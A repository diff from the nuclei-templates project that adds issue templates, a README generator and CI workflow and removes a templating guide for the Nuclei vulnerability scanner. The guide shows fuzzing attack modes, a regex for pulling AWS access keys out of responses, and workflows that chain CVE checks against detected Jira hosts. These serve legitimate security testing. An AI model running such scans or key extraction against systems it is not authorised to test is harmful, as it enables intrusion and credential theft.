syntax update and added additional endpoints

Dell iDRAC default login + detection + workflow

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.

.github/ISSUE_TEMPLATE/false-positive.md

@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.

.github/ISSUE_TEMPLATE/submit-template.md

@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```

.github/scripts/README.tmpl

@@ -0,0 +1,82 @@
+f"""
+
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+</p>
+
+----
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+
+## Nuclei Templates overview
+
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+<table>
+<tr>
+<td> 
+
+| Templates      | Counts                         | Templates       | Counts                          | Templates        | Counts                         |
+| -------------- | ------------------------------ | --------------- | ------------------------------- | ---------------- | ------------------------------ |
+| cves           | {countTpl("cves/*")}            | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels   | {countTpl("exposed-panels")}   |
+| exposures      | {countTpl("exposures/*")}      | technologies    | {countTpl("technologies")}      | misconfiguration | {countTpl("misconfiguration")} |
+| workflows      | {countTpl("workflows")}        | miscellaneous   | {countTpl("miscellaneous")}     | default-logins   | {countTpl("default-logins/*")} |
+| exposed-tokens | {countTpl("exposed-tokens/*")} | dns             | {countTpl("dns")}               | fuzzing          | {countTpl("fuzzing")}          |
+| helpers        | {countTpl("helpers/*")}        | takeovers       | {countTpl("takeovers")}         | -                | -                              |
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+
+
+
+
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
+
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""

.github/scripts/update-readme.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import glob
+import subprocess
+
+def countTpl(path):
+	return len(glob.glob(path + "/*.*"))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()

.github/workflows/update-readme.yml

@@ -0,0 +1,44 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.nuclei-ignore

@@ -0,0 +1,24 @@
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This list can be used to define template/s that will be blocked from execution.
+# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
+# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
+# 
+# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
+# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
+#
+# This list also can be used to ignore templates that you wanted to exclude from every scan.
+# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+
+.pre-commit-config.yaml
+
+# Fuzzing is excluded to avoid running bruteforce on every server as default.
+fuzzing/
+
+# Wordlist directory contains payload to be used with templates. 
+helpers/
+miscellaneous/
+
+# Workflows are excluded from default run to avoid duplicate scans.
+workflows/

CODE_OF_CONDUCT.md

@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq

GUIDE.md

@@ -1,614 +0,0 @@
-# Templating Guide
-
-**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
-
-The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
-
-Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
-
-## Table of Contents
-
-   * [Templating Guide](#templating-guide)
-      * [Template Details](#template-details)
-         * [<strong>Info</strong>](#info)
-         * [<strong>HTTP Requests</strong>](#http-requests)
-            * [<strong>Method</strong>](#method)
-            * [<strong>Redirects</strong>](#redirects)
-            * [<strong>Path</strong>](#path)
-            * [<strong>Headers</strong>](#headers)
-            * [<strong>Body</strong>](#body)
-            * [<strong>Matchers</strong>](#matchers)
-               * [<strong>Types</strong>](#types)
-               * [<strong>Conditions</strong>](#conditions)
-               * [<strong>Matched Parts</strong>](#matched-parts)
-               * [<strong>Multiple Matchers</strong>](#multiple-matchers)
-            * [Extractors](#extractors)
-            * [<strong>Example HTTP Template</strong>](#example-http-template)
-         * [<strong>DNS Requests</strong>](#dns-requests)
-            * [<strong>Type</strong>](#type)
-            * [<strong>Name</strong>](#name)
-            * [<strong>Class</strong>](#class)
-            * [<strong>Recursion</strong>](#recursion)
-            * [<strong>Retries</strong>](#retries)
-            * [<strong>Matchers</strong>](#matchers)
-            * [<strong>Example DNS Template</strong>](#example-dns-template)
-         * [<strong>Chained workflow</strong>](#chained-workflow)
-
-## Template Details
-
-Each template has a unique ID which is used during output writing to specify the template name for an output line.
-
-The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
-
-```yaml
-# id contains the unique identifier for the template.
-id: git-config
-```
-
-ID must not contain spaces. This is done to allow easier output parsing.
-
-### Info
-
-Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
-
-Let's add an **info** block to our template as well.
-
-```yaml
-info:
-  # Name is the name of the template
-  name: Git Config File Detection Template
-  # Author is the name of the author for the template
-  author: Ice3man
-  # Severity is the severity for the template.
-  severity: medium
-  #  Description optionally describes the template.
-  description: Searches for the pattern /.git/config on passed URLs.
-```
-
-Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
-
-Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
-
-### HTTP Requests
-
-Requests start with a request block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-requests:
-```
-
-At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
-
-```yaml
-requests:
-  - raw:
-    - |
-        GET /path1/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a1/b1
-    - |
-        POST /path2/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a2/b2
-
-        This is the request Body
-```
-
-Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
-
-```yaml
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-          POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-          User-Agent: {{param_a}}
-          Host: {{Hostname}}
-          another_header: {{base64(param_b)}}
-          Accept: */*
-
-          This is the Body
-      # Request with body manipulation
-      - |
-          DELETE / HTTP/1.1
-          User-Agent: nuclei
-          Host: {{Hostname}}
-          
-          This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-          PUT / HTTP/1.1
-          Host: {{Hostname}}
-          
-          This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"
-```
-
-This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
-
-#### Method
-
-First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
-
-```yaml
-# Method is the method for the request
-method: GET
-```
-
-#### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
-
-An example of the usage:
-
-```yaml
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.php
-    redirects: true
-    max-redirects: 3
-```
-
-#### Path
-
-The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
-2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-path: {{BaseURL}}/.git/config
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to  https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-```
-
-Multiple paths can also be specified in one request which will be requested for the target.
-
-#### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```yaml
-# headers contains the headers for the request
-headers:
-  # Custom user-agent header
-  User-Agent: Some-Random-User-Agent
-  # Custom request origin
-  Origin: https://google.com
-```
-
-#### Body
-
-Body specifies a body to be sent along with the request. For instance:
-
-```yaml
-# Body is a string sent along with the request
-body: "{\"some random JSON\"}"
-```
-
-#### Matchers
-
-Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 6 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| status       | Status Code of Response    |
-| size         | Content Length of Response |
-| word         | Response body or headers   |
-| regex        | Response body or headers   |
-| binary       | Response body              |
-| dsl          | All Response Parts         |
-
-To match status codes for responses, you can use the following syntax.
-
-```yaml
-matcher:
-  # Match the status codes
-  - type: status
-    # Some status codes we want to match
-    status:
-      - 200
-      - 302
-```
-
-To match binary for hexadecimal responses, you can use the following syntax.
-
-```yaml
-matchers:
-  - type: binary
-    binary:
-      - "504B0304" # zip archive
-      - "526172211A070100" # rar RAR archive version 5.0
-      - "FD377A585A0000" # xz tar.xz archive
-    condition: or
-    part: body
-```
-
-To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
-
-**Word** and **Regex** matchers can be further configured depending on the needs of the users.
-
-Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
-
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
-      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
-```
-
-Every part of a http response can be matched:
-
-| Response Part    | Description                                     | Example                   |
-|------------------|-------------------------------------------------|---------------------------|
-| content_length   | Header Content-Length                           | content_length >= 1024    |
-| status_code      | Response Status Code                            | status_code==200          |
-| all_headers      | Unique string containing all headers            | len(all_headers)          |
-| body             | Body as string                                  | len(body)                 |
-| header_name      | Lowercase header name with "-" converted to "_" | len(user_agent)           |
-| raw              | Headers + Response                              | len(raw)                  |
-
-This is the list for a dns response:
-
-| Response Part    | Description                       | Example                   |
-|------------------|-----------------------------------|---------------------------|
-| rcode            | Response status                   | rcode == "NXDOMAIN        |
-| question         | Response Question Section         | len(question)             |
-| extra            | Response Extra Section            | len(extra)                |
-| answer           | Response Answers Section          | len(answer)               |
-| ns               | Response Authority Section        | len(ns)                   |
-| raw              | Full Response                     | len(raw)                  |
-
-The helper functions are:
-
-| Helper Function | Description                               | Example                                                                                        |
-|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
-| len             | Length of a string                        | len("Hello") // Result: 5                                                                      |
-| toupper         | string to uppercase                       | toupper("Hello") // Result: "HELLO"                                                            |
-| tolower         | string to lowercase                       | tolower("Hello") // Result: "hello"                                                            |
-| replace         | Replace string parts                      | replace("Hello", "He", "Ha") // Result: "Hallo"                                                |
-| trim            | Remove trailing unicode chars             | trim("aaaHelloddd", "ad") // Result: "Hello"                                                   |
-| trimleft        | Remove unicode chars from left            | trimleft("aaaHelloddd", "ad") // Result: "Helloddd"                                            |
-| trimright       | Remove unicode chars from right           | trimleft("aaaHelloddd", "ad") // Result: "aaaHello"                                            |
-| trimspace       | Remove trailing spaces                    | trimspace("  Hello  ") // Result: "Hello"                                                      |
-| trimprefix      | Trim specified prefix                     | trimprefix("aaHelloaa", "aa") // Result: "Helloaa"                                             |
-| trimsuffix      | Trim specified suffix                     | trimsuffix("aaHelloaa", "aa") // Result: "aaHello"                                             |
-| base64          | Encode string to base64                   | base64("Hello") // Result: "SGVsbG8="                                                          |
-| base64_decode   | Decode string from base64                 | base64_decode("SGVsbG8=") // Result: "Hello"                                                   |
-| url_encode   | URL encode a string                 | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1"     |
-| url_decode   | URL decode a string                 | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1"     |
-| hex_encode   | Hex encode a string                 | hex_encode("aa") // Result: "6161"     |
-| hex_decode   | Hex decode a string                 | hex_decode("6161") // Result: "aa"     |
-| html_escape   | Hex encode a string                 | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;"     |
-| html_unescape   | Hex decode a string                 | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>"     |
-| md5             | Calculate md5 of string                   | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7"                                     |
-| sha256          | Calculate sha256 of string                | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969"  |
-| sha1          | Calculate sha1 of string                | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0"  |
-| contains        | Verify if a string contains another one   | contains("Hello", "lo") // Result: True                                                        |
-| regex           | Verify a regex versus a string            | regex("H([a-z]+)o", "Hello") // Result: True                                                   |
-
-##### Conditions
-
-Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
-
-1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
-2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
-
-##### Matched Parts
-
-Multiple parts of the response can also be matched for the request.
-
-| Part   | Matched Part                         |
-| ------ | ------------------------------------ |
-| body   | Body of the response                 |
-| header | Header of the response               |
-| all    | Both body and header of the response |
-
-Example matchers for response body using the AND condition:
-
-```yaml
-matcher:
-  # Match the body word
-  - type: word
-   # Some words we want to match
-   words:
-     - "[core]"
-     - "[config]"
-   # Both words must be found in the response body
-   condition: and
-   #  We want to match request body (default)
-   part: body
-```
-
-Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
-
-##### Multiple Matchers
-
-Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
-
-Here is an example of syntax for multiple matchers.
-
-```yaml
-matchers:
-  - type: word
-    name: php
-    words:
-      - "X-Powered-By: PHP"
-      - "PHPSESSID"
-    part: header
-  - type: word
-    name: node
-    words:
-      - "Server: NodeJS"
-      - "X-Powered-By: nodejs"
-    condition: or
-    part: header
-  - type: word
-    name: python
-    words:
-      - "Python/2."
-      - "Python/3."
-    condition: or
-    part: header
-```
-
-##### Matchers Condition
-
-While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
-
-```yaml
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        condition: or
-        part: header
-
-      - type: word
-        words:
-          - "PHP"
-        part: body
-```
-
-#### Extractors
-
-Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
-
-Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
-
-```yaml
-# A list of extractors for text extraction
-extractors:
-  # type of the extractor, only regex for now.
-  - type: regex
-    # part of the response to extract (can be headers, all too)
-    part: body
-    # regex to use for extraction.
-    regex:
-      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-```
-
-#### **Example HTTP Template**
-
-The final template file for the `.git/config` file mentioned above is as follows:
-
-```yaml
-id: git-config
-
-info:
-  name: Git Config File
-  author: Ice3man
-  severity: medium
-  description: Searches for the pattern /.git/config on passed URLs.
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
-    matchers:
-      - type: word
-        words:
-          - "[core]"
-```
-
-### DNS Requests
-
-Requests start with a dns block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-dns:
-```
-
-DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-#### Type
-
-First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
-
-```yaml
-# type is the type for the dns request
-type: A
-```
-
-#### Name
-
-The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-name: {{FQDN}}.com
-# This value will be replaced on execution with the FQDN.
-# If FQDN is https://this.is.an.example then the
-# name will get replaced to the following: this.is.an.example.com
-```
-
-As of now the tool supports only one question per request.
-
-#### Class
-
-Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
-
-```yaml
-# method is the class for the dns request
-class: inet
-```
-
-#### Recursion
-
-Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
-
-```yaml
-# Recursion is a boolean determining if the request is recursive
-recursion: true
-```
-
-#### Retries
-
-Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
-
-```yaml
-# Retries is a number of retries before giving up on dns resolution
-retries: 3
-```
-
-#### Matchers
-
-Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 5 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| size         | Response size              |
-| word         | Response                   |
-| regex        | Response                   |
-| binary       | Response                   |
-| dsl          | Response                   |
-
-## **Example DNS Template**
-
-The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
-
-```yaml
-id: dummy-cname-a
-
-info:
-  name: Dummy A dns request
-  author: mzack9999
-  severity: none
-  description: Checks if CNAME and A record is returned.
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"
-          # and also at least 1 A record
-          - "IN\tA"
-        condition: and
-```
-
-# Chained workflow
-
-It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.  
-
-Chained workflow supports both HTTP and DNS request based templates. 
-
-Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-  description: Detect Jira and if found; then check for CVEs in list.
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-  
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic: 
-    |
-  if jira() {
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }
-```
-
-Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-  description: Detect Jira and if found; perform custom pwn.
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-
-  jira: panels/detect-jira.yaml
-  jira_pwn: my-jira-templates/
-
- # defining directory to run all the templates
-
-logic: 
-    |
-  if jira() {
-    jira_pwn()
-
-  }
-```
-

LICENSE.md

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

README.md

@@ -1,10 +1,81 @@
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
-Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
 
-------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+</p>
+
+----
+
